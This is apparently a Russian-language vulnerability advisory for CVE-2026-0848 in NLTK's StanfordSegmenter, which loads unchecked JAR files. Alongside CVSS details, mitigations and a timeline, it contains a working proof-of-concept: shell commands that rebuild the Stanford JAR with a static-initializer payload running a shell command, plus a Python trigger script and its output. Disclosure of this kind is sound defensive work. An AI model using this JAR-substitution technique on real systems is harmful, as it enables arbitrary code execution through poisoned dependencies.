
nltk.tokenize.StanfordSegmenter динамически загружает внешние Java .jar-файлы без проверки и изоляции. Если злоумышленник может подставить или заменить JAR (например, через отравленную загрузку модели, подмену пакета при MITM-атаке или отравление зависимостей), произвольный Java-байткод выполняется при импорте.
| Поле | Детали |
|---|
| CVE ID | CVE-2026-0848 |
| Пакет | nltk (Natural Language Toolkit) |
| Реестр | PyPI |
| Затронутые версии | <= 3.9.2 |
| Тип уязвимости | CWE-20: некорректная проверка входных данных |
| Оценка CVSS | 10.0 (критическая) |
| Вектор атаки | Сетевой |
| Сложность атаки | Низкая |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Область воздействия | Изменена (Changed) |
| Влияние на конфиденциальность | Высокое |
| Влияние на целостность | Высокое |
| Влияние на доступность | Высокое |
| Сообщено | 6 декабря 2025 г. |
| Опубликовано CVE | Март 2026 г. |
| При поддержке | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter динамически загружает внешние Java-файлы .jar через subprocess без какой-либо проверки целостности, контроля подписи или песочницы. Класс принимает полностью контролируемые атакующим параметры, включая path_to_jar, path_to_model, path_to_dict и java_class, и передаёт их напрямую в вызов java -cp.
Если атакующий может предоставить или подменить JAR-файл — через загрузку отравленной модели, подмену пакета при атаке «человек посередине», отравление зависимостей или скомпрометированное зеркало релизов, — произвольный Java-байткод выполняется в момент загрузки класса через механизм статических инициализаторов JVM. Это представляет собой уязвимость удалённого выполнения кода (RCE) в цепочке поставок, которая полностью выходит за пределы среды выполнения Python.
| Файл | Строки | Описание |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Принимает контролируемые атакующим path_to_jar, path_to_model, path_to_dict и java_class без какой-либо проверки |
nltk/internals.py | L220–L300 | Запускает выполнение Java напрямую с управляемыми пользователем путём к JAR и classpath, без песочницы и проверки контрольных сумм |
nltk/internals.py | L109–L152 | subprocess.Popen() выполняет Java с непроверенным входным classpath, позволяя JVM загружать произвольный байткод и запускать статические инициализаторы |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Показатель | Значение |
|---|---|
| Вектор атаки | Сетевой |
| Сложность атаки | Низкая |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Область воздействия | Изменена (Changed) |
| Конфиденциальность | Высокое |
| Целостность | Высокое |
| Доступность | Высокое |
Успешная эксплуатация даёт атакующему полный контроль над системой, выполняющей процесс сегментации NLTK:
Runtime.getRuntime().exec() или ProcessBuilder для выполнения произвольных shell-команд| Сценарий | Влияние |
|---|---|
| ML-исследователь загружает предобученный сегментатор из интернета | Удалённый атакующий получает возможность выполнять код |
| Организация загружает повреждённый ZIP-архив с китайской моделью сегментации | Вредоносное ПО выполняется внутри продакшен-NLP-пайплайна |
CI/CD-сервер устанавливает модель через wget/unzip с зеркала без HTTPS | Полная компрометация окружения |
| Перехват зависимости или отравленное зеркало релизов | Полное RCE в цепочке поставок |
Эта уязвимость затрагивает любые NLP-процессы, использующие StanfordSegmenter, включая чат-ботов, пайплайны предобработки для LLM, сегментацию наборов данных, классификацию документов и продакшен-сервисы инференса.
Эта информация предоставлена исключительно в образовательных и защитных целях. Не проводите тестирование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Результат:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
Подтверждение RCE:
ls /tmp | grep pwned_hijack
# pwned_hijack
Уязвимость присутствует в двух файлах:
stanford_segmenter.py — конструктор класса StanfordSegmenter принимает path_to_jar, path_to_model, path_to_dict и java_class в виде обычных строковых аргументов и передаёт их напрямую в слой выполнения Java, не выполняя ни одного из следующих действий:
java_class на соответствие заведомо безопасному набору имён классовinternals.py — вспомогательная функция java() формирует и запускает вызов subprocess.Popen() с предоставленным пользователем classpath. JVM немедленно загружает все классы из указанного JAR-файла, выполняя любые блоки статических инициализаторов до запуска логики приложения. Здесь нет ни песочницы, ни проверки целостности, ни механизма, предотвращающего выполнение внедрённого байткода.
Уязвимость полностью устранена в вышестоящем (upstream) репозитории NLTK.
| Ресурс | Ссылка |
|---|---|
| Центральное исправление безопасности (все CVE) | https://github.com/nltk/nltk/pull/3522 |
| Первоначальный PR с исправлением от исследователя | https://github.com/nltk/nltk/pull/3477 (смержен) |
Обновите NLTK до исправленной версии, как только она станет доступна на PyPI.
| Действие | Детали |
|---|---|
| Обновите NLTK | Обновитесь до версии новее 3.9.2, содержащей исправление из PR #3522 |
| Не используйте управляемые пользователем пути к JAR | Никогда не позволяйте пользовательскому вводу влиять на аргументы path_to_jar, path_to_model или java_class |
| Проверяйте целостность JAR | Всегда сверяйте SHA-256-контрольные суммы загруженных JAR-файлов с официально опубликованными хешами перед использованием |
| Используйте только HTTPS-источники | Загружайте файлы моделей и JAR исключительно из официальных HTTPS-источников; отклоняйте любые HTTP-источники или непроверенные зеркала |
| Минимальные привилегии | Запускайте сервисы на основе NLTK под ограниченным пользователем ОС с минимальными правами на файловую систему и сеть |
| Контейнеризация | Изолируйте NLP-сервисы в Docker-контейнерах или аналогичных песочницах, чтобы ограничить радиус поражения эксплойтов на основе JAR |
| Мониторинг зависимостей | Используйте инструмент анализа состава программного обеспечения (SCA) для обнаружения изменённых или подменённых JAR-зависимостей в CI/CD-пайплайнах |
Обновление через pip:
pip install --upgrade nltk
Проверка установленной версии:
python -c "import nltk; print(nltk.__version__)"
| Дата | Событие |
|---|---|
| 6 декабря 2025 г. | Уязвимость сообщена на huntr.dev исследователем hyperps1 (Sarvesh Patil) |
| Декабрь 2025 г. | Команда мейнтейнеров NLTK уведомлена через huntr.dev |
| Январь 2026 г. | Мейнтейнер NLTK подтвердил уязвимость; выплачено вознаграждение за раскрытие |
| Январь 2026 г. | Присвоен идентификатор CVE-2026-0848 |
| Январь 2026 г. | PR с исправлением #3477 от исследователя отправлен и смержен |
| Февраль 2026 г. | Мейнтейнерам NLTK отправлено предупреждение за 48 часов до публикации |
| Март 2026 г. | CVE опубликован на NVD и huntr.dev |
| Март 2026 г. | Центральное исправление безопасности для всех CVE смержено через PR #3522 |
| Ресурс | Ссылка |
|---|---|
| Запись на NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| Официальная запись CVE | https://cve.org/CVERecord?id=CVE-2026-0848 |
| Отчёт на huntr.dev | https://huntr.dev |
| Центральный PR с исправлением | https://github.com/nltk/nltk/pull/3522 |
| PR с исправлением от исследователя | https://github.com/nltk/nltk/pull/3477 |
| NLTK на PyPI | https://pypi.org/project/nltk/ |
| Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — произвольное выполнение кода | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — недоверенный путь поиска | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: некорректная проверка входных данных | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: десериализация недоверенных данных | https://cwe.mitre.org/data/definitions/502.html |
Этот репозиторий документирует CVE-2026-0848 строго в образовательных, исследовательских и защитных целях. Код Proof-of-Concept и технические детали предоставлены, чтобы помочь разработчикам, инженерам по безопасности и системным администраторам понять, оценить и устранить эту уязвимость.
Любое использование этой информации для доступа к системам или их компрометации без явного разрешения является незаконным и неэтичным. Автор не несёт ответственности за неправомерное использование информации, содержащейся в данном документе.
Авторы: ketanHub